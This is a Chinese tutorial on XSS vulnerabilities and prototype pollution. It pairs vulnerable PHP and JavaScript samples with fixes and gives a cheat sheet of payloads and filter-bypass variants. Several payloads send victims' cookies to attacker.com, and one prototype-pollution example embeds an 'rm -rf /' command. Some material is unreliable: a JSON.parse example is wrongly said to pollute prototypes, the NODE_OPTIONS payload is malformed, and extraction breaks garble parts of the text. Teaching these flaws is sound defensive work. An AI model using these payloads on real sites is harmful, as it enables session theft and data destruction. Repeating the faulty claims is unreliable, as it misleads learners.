XSS漏洞知识总结

一、XSS漏洞原理

1.概述

XSS被称为跨站脚本攻击(Cross Site Scripting),由于和层叠样式表(Cascading Style Sheets,CSS)重名,改为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

主要基于JavaScript语言进行恶意攻击,因为js非常灵活操作html、css、浏览器。

2.利用方式

利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript类型,也包括java、vbs、flash、html等。

3.执行方式

用户浏览被XSS注入过的网页,浏览器就会解析这段代码,就被攻击了。因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否恶意,只要符合语法规则,就直接解析了。

4.攻击对象

客户端攻击,对象大多为用户,网站管理员。

还有微博,网页留言板,聊天室等收集用户输入的地方。

5.XSS危害

(1)窃取cookie

因为大部分人喜欢将密码储存到浏览器当中,所以黑客一般渗透的时候就会先来浏览器查看已保存的cookie 来盗取各种用户账号

(2)未授权操作

js特性很强大,黑客会直接代替用户在html进行各类操作。比如劫持会话,刷流量,执行弹窗广告,还能记录用户的键盘输入。

(3)传播蠕虫病毒

6.简单代码

bash 复制代码
<?php
$input = $_GET["XSS"];
echo "<div>".$input."</div>";
?>

在这段PHP代码中 主要具有两个功能:

1.获取用户输入input = _GET["XSS"]; 这行代码的作用是从 HTTP GET 请求的参数中获取名为 XSS 的参数值 。比如访问 http://yourdomain.com/yourscript.php?XSS=test 时,$input 变量就会被赋值为 test 。

2.输出内容到页面 :echo "

".input."
"`;` 会把获取到的 input 变量的值,包裹在
标签里,输出到页面的 HTML 中,最终在浏览器渲染后,会以
包含对应内容的形式展示。

但是这段代码存在 反射型 XSS(跨站脚本攻击)漏洞

因为它直接把用户可控的 GET 参数(未做任何过滤、转义处理)拼接到 HTML 输出里。如果攻击者构造恶意请求,比如让用户访问 http://yourdomain.com/yourscript.php?XSS=<script>alert('恶意脚本执行')</script> ,当页面执行 echo 输出时,浏览器会把 <script> 里的代码当作合法 JavaScript 执行,可能导致弹窗骚扰用户、窃取用户 Cookie(进而冒充用户身份)、劫持会话等危害。

若要安全输出用户输入,需对内容进行 HTML 转义,使用 htmlspecialchars 函数,示例:

bash 复制代码
<?php
$input = $_GET["XSS"];
// 转义特殊字符,避免 XSS,指定编码为 UTF-8,处理单双引号
echo "<div>".htmlspecialchars($input, ENT_QUOTES, 'UTF-8')."</div>";
?>

这样能把像 < > 等特殊字符转成 HTML 实体(如 < 转成 &lt; ),保证浏览器当作文本渲染,而非可执行代码,从而防范 XSS 攻击 。

二、XSS漏洞分类

1.反射型XSS

反射型XSS 是非持久性、参数型的跨站脚本,也是最容易出现的XSS漏洞 。反射型XSS 的 JS 代码在 Web 应用的参数(变量)中,如搜索框的反射型XSS 。在搜索框中,提交 PoC[scriptalert(/xss/)/script] ,点击搜索,即可触发反射型XSS。注意到,我们提交的poc 会出现在 search.php 页面的 keywords 参数中。

原理

用户在请求某个URL地址时,会携带一部分数据。当客户端进行访问某条链接时,攻击者可以将恶意代码注入到URL,如果服务器端未对URL携带的参数做判断和过滤,直接返回响应页面,那么XSS攻击代码就会被一起传输到用户的浏览器,触发反射型XSS。

特点

非持久性

参数脚本

js代码在web应用的参数当中:搜索框

数据流量:浏览器---->后端---->浏览器

案例

场景假设:

假设有一个网站,其中有一个搜索页面search.php ,原本设计是让用户输入关键词,然后返回搜索结果。但是,该页面的代码没有对用户输入进行安全处理。

search.php 的原始代码(存在漏洞版本)如下:

php 复制代码
<?php
// 获取用户通过GET方式传递的关键词
$keyword = $_GET['keyword'];
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>搜索结果</title>
</head>
<body>
    <h1>搜索关键词:<?php echo $keyword;?></h1>
    <!-- 这里假设会展示搜索结果,实际可能是数据库查询后的内容展示 -->
    <p>暂未找到相关结果。</p>
</body>
</html>

上述代码直接将用户通过GET请求传入的keyword参数输出到 HTML 页面中,没有进行任何过滤或转义处理。

攻击过程:

攻击者构造一个恶意的 URL,例如:

bash 复制代码
http://example.com/search.php?keyword=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

当受害者点击这个链接时:

  1. 服务器接收到请求,获取到keyword参数值为恶意的 JavaScript 代码。
  2. 服务器将keyword的值直接输出到 HTML 页面中,浏览器解析页面时,会执行这段恶意的 JavaScript 代码。
  3. 代码会将受害者当前网站的 Cookie 信息发送到攻击者指定的http://attacker.com/steal.php 页面,攻击者通过steal.php脚本就可以获取到受害者的 Cookie。
  4. 攻击者拿到 Cookie 后,可能会利用该 Cookie 进行会话劫持,冒充受害者登录网站,执行各种非法操作,比如修改受害者的个人信息、进行交易等。

如何防御:

要修复这个反射型 XSS 漏洞,可以对输出到 HTML 页面中的用户输入进行转义,使用htmlspecialchars函数,修改后的search.php代码如下:

php 复制代码
<?php
// 获取用户通过GET方式传递的关键词
$keyword = $_GET['keyword'];
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>搜索结果</title>
</head>
<body>
    <h1>搜索关键词:<?php echo htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8');?></h1>
    <!-- 这里假设会展示搜索结果,实际可能是数据库查询后的内容展示 -->
    <p>暂未找到相关结果。</p>
</body>
</html>

htmlspecialchars函数会将特殊的 HTML 字符转换为 HTML 实体,比如将<转换为<,这样浏览器就会将其当作普通文本显示,而不会执行恶意脚本,从而有效防范反射型 XSS 攻击。

2.存储型XSS

存储型XSS是持久性跨站脚本,其持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中,存储型XSS通常发生在留言板等地方,我们在留言板位置留言并将恶意代码写进数据库中,此时我们只完成了第一步即把恶意代码写入数据库,因为XSS使用的JS代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS代码才能真正触发XSS,此时需要我们模拟网站后台管理员的身份查看留言。

原理

被保存到服务器上,显示到HTML页面中,经常出现在用户评论的页面,攻击者将XSS代码保存到数据库中,当用户在此访问这个页面时,就会触发并执行XSS代码,窃取用户的敏感信息。

特点

危害性最大:持久的保存在服务器上

持久型XSS

js代码不在某个参数中,而是被写进了数据库或文件可以永久保存数据的介质中,如留言板等。

数据流量走向:浏览器--->后端--->数据库--->后端--->浏览器

案例

场景假设:

假设存在一个简单的留言板网站,使用 PHP 和 MySQL 搭建,允许用户输入姓名和留言内容,管理员可以在后台查看所有留言。

漏洞代码分析:

  • 前端页面(index.html:包含一个表单,用于用户提交姓名和留言。
html 复制代码
<!DOCTYPE html>
<html>

<body>
  <form action="submit.php" method="post">
    <label for="name">姓名:</label>
    <input type="text" id="name" name="name" required><br>
    <label for="message">留言:</label>
    <textarea id="message" name="message" required></textarea><br>
    <input type="submit" value="提交">
  </form>
</body>

</html>
  • 后端处理页面(submit.php:接收前端提交的数据,将其插入到数据库中,但未对数据进行任何安全处理。
php 复制代码
<?php
// 数据库连接配置
$servername = "localhost";
$username = "root";
$password = "password";
$dbname = "guestbook";

// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("连接失败: ". $conn->connect_error);
}

// 获取用户输入
$name = $_POST['name'];
$message = $_POST['message'];

// 插入数据到数据库,未对输入进行处理
$sql = "INSERT INTO messages (name, message) VALUES ('$name', '$message')";
if ($conn->query($sql) === TRUE) {
    echo "留言提交成功";
} else {
    echo "Error: ". $sql. "<br>". $conn->error;
}

$conn->close();
?>
  • 查看留言页面(view.php:从数据库中读取留言,并显示在页面上,同样未对从数据库中取出的数据进行处理。
php 复制代码
<?php
// 数据库连接配置
$servername = "localhost";
$username = "root";
$password = "password";
$dbname = "guestbook";

// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("连接失败: ". $conn->connect_error);
}

// 从数据库获取留言
$sql = "SELECT * FROM messages";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
        echo "姓名: ". $row["name"]. "<br>";
        echo "留言: ". $row["message"]. "<br><hr>";
    }
} else {
    echo "没有留言";
}

$conn->close();
?>

攻击过程:

  1. 攻击者访问留言板页面index.html,在姓名或留言输入框中输入恶意脚本,例如在留言输入框中输入<script>alert('你被XSS攻击了!')</script>,然后提交表单。
  2. submit.php页面将攻击者输入的数据未经处理直接插入到数据库中。
  3. 当管理员访问view.php页面查看留言时,浏览器从服务器获取到包含恶意脚本的留言数据,并将其渲染到页面中。由于浏览器会执行页面中的 JavaScript 代码,所以恶意脚本被执行,弹出 "你被 XSS 攻击了!" 的警告框。如果攻击者将恶意脚本编写得更复杂,例如<script>fetch('https://attacker.com/steal.php'`, `{method: 'POST', body: document.cookie});</script>,还可以将管理员的 Cookie 等敏感信息发送到攻击者的服务器,进而可能实现会话劫持等更严重的攻击。

修复方法:

  • 在submit.php页面中,对用户输入的数据进行严格的过滤和转义,使用htmlspecialchars函数将特殊的 HTML 字符转换为 HTML 实体,例如:
php 复制代码
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF - 8');
$message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF - 8');
  • 在view.php页面中,同样对从数据库中取出并要输出到页面的数据进行转义处理,再进行显示,以确保恶意脚本不会被执行。

3.DOM型XSS

DOM XSS 比较特殊。 owasp 关于 DOM 型 XSS 的定义是基于 DOM 的 XSS 是一种 XSS 攻击,其中攻击的payload 由于修改受害者浏览器页面的 DOM 树而执行的。其特殊的地方就是 payload 在浏览器本地修改DOM 树而执行,并不会传到服务器上,这也就使得 DOM XSS 比较难以检测。

原理

基于文档对象模型(DOM)的一种漏洞。这种XSS与反射型XSS、存储型XSS有着本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠浏览器端的DOM解析,客户端的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。

特点
  • 不经过服务器:恶意脚本的注入和执行完全在前端完成,服务器未参与数据存储或输出,因此传统的服务器端过滤可能失效。
  • 依赖前端 JavaScript :漏洞根源是前端代码对 DOM 操作的不安全处理,需重点关注innerHTML、outerHTML、document.write()等危险 API 的使用。

非持久性

数据流量:URL--->浏览器

案例

场景假设:

一个简单的网页,功能是 "搜索结果展示":用户输入搜索关键词后,页面通过 JavaScript 直接从 URL 的search参数中读取内容,并动态插入到页面 DOM 中,用于显示 "您搜索的内容是:XXX"

漏洞代码(前端 HTML)

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>DOM型XSS示例</title>
</head>
<body>
    <h1>搜索结果</h1>
    <!-- 显示搜索关键词的区域 -->
    <div id="searchResult"></div>

    <script>
        // 从URL中获取search参数的值(例如:?search=test)
        function getParameter(name) {
            const urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(name);
        }

        // 直接将参数值插入到页面DOM中
        const searchTerm = getParameter('search');
        document.getElementById('searchResult').innerHTML = `您搜索的内容是:${searchTerm}`;
    </script>
</body>
</html>

漏洞分析

代码的核心问题在于:通过innerHTML直接将用户可控的search参数值插入到 DOM 中,且未做任何过滤或转义。

  • innerHTML会将内容解析为 HTML 并执行其中的脚本,而非当作纯文本处理。
  • 用户输入的内容(通过 URL 参数search传递)完全可控,攻击者可构造恶意脚本。

攻击过程

1.攻击者构造恶意 URL

攻击者在search参数中插入恶意 JavaScript 代码,例如:

html 复制代码
http://example.com/search.html?search=<script>alert('DOM XSS攻击成功')</script>

2.受害者访问 URL

当受害者点击该 URL 时,页面通过 JavaScript 读取search参数的值,并通过innerHTML插入到searchResult节点中。

3.恶意脚本执行

浏览器解析页面时,会将<script>标签内的代码当作合法脚本执行,弹出 "DOM XSS 攻击成功" 的警告框。

4.更危险的攻击

攻击者可编写窃取 Cookie 的脚本,例如:

html 复制代码
http://example.com/search.html?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

受害者访问后,其 Cookie 会被发送到攻击者的服务器,可能导致会话劫持。

修复方法

核心原则:避免将用户可控内容通过innerHTML等危险方式插入 DOM,或对内容进行严格转义。

方法 1:使用textContent替代innerHTML(推荐)

textContent会将内容当作纯文本处理,不会解析 HTML 或执行脚本:

javascript 复制代码
// 安全的写法:用textContent替代innerHTML
document.getElementById('searchResult').textContent = `您搜索的内容是:${searchTerm}`;
方法 2:对内容进行 HTML 转义

若必须使用innerHTML,需先将特殊字符转义为 HTML 实体(如<转&lt;):

javascript 复制代码
// 定义转义函数
function escapeHtml(unsafe) {
    return unsafe.replace(/[&<>"']/g, function(match) {
        const entities = {
            '&': '&amp;',
            '<': '&lt;',
            '>': '&gt;',
            '"': '&quot;',
            "'": '&#039;'
        };
        return entities[match];
    });
}

// 转义后再插入DOM
const safeSearchTerm = escapeHtml(searchTerm || '');
document.getElementById('searchResult').innerHTML = `您搜索的内容是:${safeSearchTerm}`;

DOM 型 XSS 的防御核心在于规范前端 DOM 操作,避免信任用户输入的内容。

三、XSS payload及变形

1.基础反射型 / 存储型 XSS Payloads

(1) 基础弹窗测试
html 复制代码
<script>alert('XSS')</script>
<svg/onload=alert(1)>
html 复制代码
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
(3) 会话劫持(结合 CSRF)
html 复制代码
<script>window.open('https://victim-site.com/transfer?amount=1000&to=attacker')</script>

2.变形与绕过技术

(1) 大小写混淆
html 复制代码
<ScRiPt>alert('XSS')</ScRiPt>
(2) 标签嵌套绕过过滤
html 复制代码
<scr<script>ipt>alert('XSS')</scr</script>ipt>
(3) 事件处理函数(无需<script>标签)
html 复制代码
<img src="x" onerror="alert('XSS')">
<div onmouseover="alert('XSS')">Hover me</div>
<input type="text" onfocus="alert('XSS')">
(4) HTML 实体编码
html 复制代码
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;  <!-- <script>alert(1)</script> -->
(5) JavaScript URI 编码
html 复制代码
javascript:alert('XSS')
(6)SVG 注入
html 复制代码
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">

3.DOM 型 XSS 专用 Payloads

(1)URL 参数注入(利用location.hash或location.search)
javascript 复制代码
// 假设漏洞点在location.hash中
http://example.com/#<script>alert('XSS')</script>

// 利用document.write()
http://example.com/search?term=<script>document.write('XSS')</script>
(2)利用eval()/setTimeout()等动态执行函数
javascript 复制代码
// 假设存在漏洞:eval(user_input)
http://example.com?data=alert('XSS')     // 结合 onerror 或其他事件触发

// 变形:
http://example.com?callback=alert('XSS')     // JSONP回调注入

4.高级变形技术

(1) 编码绕过(Base64/Unicode)
html 复制代码
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>  <!-- 解码后为alert('XSS') -->
(2) 利用 HTML5 特性
html 复制代码
<video src="x" onerror="alert('XSS')"></video>
<audio src="x" onerror="alert('XSS')"></audio>
(3) 跨协议攻击
html 复制代码
<script src="https://attacker.com/malicious.js"></script>
(4) CSS 注入(结合 XSS)
html 复制代码
<style>body{background-image:url('javascript:alert("XSS")')}</style>

5.防御绕过策略

(1)过滤<script>标签:

使用事件处理函数(如onerror)或 SVG 替代。

(2)转义引号

使用不需要引号的事件(如<svg onload>)。

(3)CSP(内容安全策略)绕过
html 复制代码
<!-- 假设CSP允许'self',但未限制data: -->
<script src="data:text/javascript,alert('XSS')"></script>
(4)JavaScript 混淆
javascript 复制代码
[].forEach.call('alert("XSS")'.split(''),function(c){document.write(c)})

补充

原型链污染

原型链污染(Prototype Pollution)是一种 JavaScript 特有的安全漏洞,攻击者通过修改 JavaScript 对象的原型(Object.prototype)来改变所有对象的行为。这种漏洞可能导致严重的安全后果,如任意代码执行、XSS 攻击或绕过安全机制。

一、JavaScript 原型链基础

JavaScript 使用原型继承 ,每个对象都有一个内部属性[[Prototype]](可通过__proto__访问)。当访问一个对象的属性时,JavaScript 会先查找对象本身,若找不到则沿原型链向上查找。所有对象最终继承自Object.prototype。

示例

javascript 复制代码
const obj = {};
obj.toString(); // 继承自Object.prototype.toString
二、原型链污染原理

攻击者通过修改Object.prototype注入新属性或方法,导致所有对象(包括系统对象)继承这些改动。常见的注入点是允许用户修改对象属性的函数(如配置合并、递归赋值等)。

攻击条件

  1. 应用动态修改对象属性(尤其是嵌套对象)。
  2. 未对用户输入进行严格过滤。
三、漏洞示例
1. 基础污染(通过__proto__)
javascript 复制代码
const userInput = JSON.parse('{"__proto__":{"isAdmin":true}}');
const obj = {};
console.log(obj.isAdmin); // 输出true,原型被污染
2. 真实场景:配置合并函数

许多库(如lodash、webpack)提供深合并功能,若未过滤__proto__,可能导致污染:

javascript 复制代码
function merge(target, source) {
  for (const key in source) {
    if (typeof target[key] === 'object' && typeof source[key] === 'object') {
      merge(target[key], source[key]); // 递归合并
    } else {
      target[key] = source[key]; // 直接赋值
    }
  }
  return target;
}

// 攻击向量
const payload = JSON.parse('{"__proto__":{"secret":"hacked"}}');
const config = {};

merge(config, payload);
console.log({}.secret); // 输出"hacked",所有对象被污染
四、攻击场景
1. 绕过 JWT 验证
javascript 复制代码
// 假设应用通过obj.token存在性验证用户
const payload = JSON.parse('{"__proto__":{"token":"admin"}}');
merge({}, payload);

const user = {};
if (user.token) {
  console.log("已认证为管理员"); // 绕过验证
}
2. XSS 攻击
javascript 复制代码
// 假设应用将用户输入直接嵌入HTML
const payload = JSON.parse('{"__proto__":{"toString":"<script>alert("XSS")</script>"}}');
merge({}, payload);

const output = `<div>${{}}</div>`; // 触发XSS
3. 任意代码执行

通过污染Function.prototype或process对象(Node.js 环境):

javascript 复制代码
// Node.js环境
const payload = JSON.parse('{"__proto__":{"constructor":{"prototype":{"env":{"NODE_OPTIONS":"--require=child_process;child_process.execSync(\"rm -rf /\")"}}}}}}');
merge({}, payload);
// 后续代码执行时可能触发命令执行
五、防御措施
1. 禁止修改原型属性

在合并函数中过滤__proto__、constructor和prototype:

javascript 复制代码
function safeMerge(target, source) {
  for (const key in source) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      continue; // 跳过原型相关属性
    }
    // 其他合并逻辑...
  }
}
2. 使用安全的解析函数

避免直接解析用户输入的 JSON,使用JSON.parse的 reviver 参数:

javascript 复制代码
const safeObj = JSON.parse(userInput, (key, value) => {
  if (key === '__proto__') return undefined;
  return value;
});
3. 禁用原型继承

使用Object.create(null)创建无原型的对象:

javascript 复制代码
const obj = Object.create(null); // 没有继承任何属性
4. 限制用户输入

只允许白名单内的字符或格式,避免复杂对象结构。